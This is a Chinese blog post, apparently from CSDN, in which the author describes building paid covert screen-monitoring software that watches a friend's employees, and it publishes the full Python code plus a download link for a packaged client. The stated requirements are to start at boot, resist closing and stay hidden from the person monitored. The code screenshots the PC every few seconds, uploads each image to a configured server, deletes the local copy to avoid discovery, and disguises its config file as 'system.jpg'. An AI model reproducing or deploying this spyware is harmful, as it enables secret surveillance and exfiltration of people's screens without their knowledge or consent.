python开发一个PC屏幕监控软件(2000块的道德底线)

有个朋友做电商的,发现他的员工上班喜欢摸鱼(说的不就是我吗),让给我给他做一个可以监控他员工上班干嘛的软件(讨厌的资本家),当时我就直接拒绝他了,并告诉他一堆道理,说员工也是人,没必要这样搞。。。。。。 后来我朋友说有偿的!

一、需求

1、实时监控PC屏幕。

2、可以通过服务端查看,包括查看历史电脑事件和查看当前电脑屏幕内容。

3、该应用为企业应用,所以后台需要可精确查询到每台电脑的过滤功能,由于涉及到隐私,需要支持本地部署。

4、开机就启动,并对PC电脑进行实时监控,软件不能关闭,不能导致电脑卡顿,不能让被监控人知道。

 

二、实现思路

1、新建python文件 moniter.py 配置文件sys.ini。

2、采用pyautogui库获取系统资源(当前屏幕截图),并保存本地,高清截屏图片太大,所以做了压缩。

关键API为:pyautogui.screenshot()

代码:

def screenshot(path):
    img=pyautogui.screenshot()
    img.save(path, quality=40)

3、写个while循环+sleep 定时截图屏幕。

while True:
  
    try:
        screenshot(pathabs) ##截屏
       
    except:

        traceback.print_exc(file=open('error.txt','a+'))  ##异常处理

    time.sleep(10)  ##10秒候取一次屏幕信心

4、将本地文件上传服务器,并删除本地问题。

 
      
            files = {
                'file': open(pathabs, 'rb')
            }
            r = requests.get(service, files=files, data={}) ##上传到服务器

            a = files["file"]

            a.close()

            os.remove(pathabs)   ##删除本地图片(被发现就完犊子了)

5、搭建后台系统

商城+公众号+小程序+app+前后台代码开源,一键启动: 蜜熊电商, [ 微信 + 支付宝 + 百度 + 头条 ] 小程序 + APP + 公众号 + PC + H5,企业官网[支持移动端和PC端],注重界面美感与用户体验,解决线上开店,企业宣传和私域营销的问题。 【企业网站 商城 微信支付 积分支付 电商源码 小程序直播 跨境电商系统 支持国际化】

万能后台,有手把手免费教程

省钱提示:

该博客为交流性博客,爱好者可保存到本地,自己开发后台处理请求。

6、处理打包成EXE,软件开机启动,软件禁止关闭等问题。

三、开发-调试-测试-运行:

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。(熬夜掉头发)

四、上效果:

1、软件长相:

python开发一个PC屏幕监控软件(2000块的道德底线)_第1张图片

 

2、 后台效果图(发现了小朋友在打游戏):

python开发一个PC屏幕监控软件(2000块的道德底线)_第2张图片

 五,分享成果,完整代码:

import datetime
import json
import os
import time

# import cv2
import traceback

import pyautogui
import numpy as np
import requests
from PIL import Image

def screenshot(path):
    img=pyautogui.screenshot()
    img.save(path, quality=40)
   


def half(path):
    im2 = Image.open(path)
    (x, y) = im2.size
    out = im2.resize((int(x / 2),int(y / 2)), Image.ANTIALIAS)
    out.save(path)

def getParam():
    file_handleC = open(r"system.jpg", "r", encoding="utf-8")
    lines = file_handleC.readlines()
    path={}
    for line in lines:

        path = line
        path=json.loads(path)
    return path
o=getParam()
path=o["path"]
frequency=o["frequency"]
save=o["save"]
service=o["service"]
while True:

    t = datetime.datetime.now().strftime('%H%M%S')
    day=datetime.datetime.now().strftime('%Y%m%d')
    pathabs =path+day
    if (os.path.exists(pathabs) == False):
        os.makedirs(pathabs)
    pathabs = pathabs+"/"+str(t) + ".jpg"

    try:
        screenshot(pathabs)
        half(pathabs)

        ##文件保存
        if save == "service" or save == "all":
            files = {
                'file': open(pathabs, 'rb')
            }
            r = requests.get(service, files=files, data={})

            a = files["file"]
            a.close()
        if save == "service":
            os.remove(pathabs)
    except:
        print(datetime.datetime.now().strftime('%Y%m%d%H%M%S'))
        print("发生异常")
        traceback.print_exc(file=open('error.txt','a+'))
    
    time.sleep(frequency)

 

 

成品安装包请自行下载(客户端):https://download.csdn.net/download/m0_60921402/85334945

 

你可能感兴趣的:(工具,python,开发语言)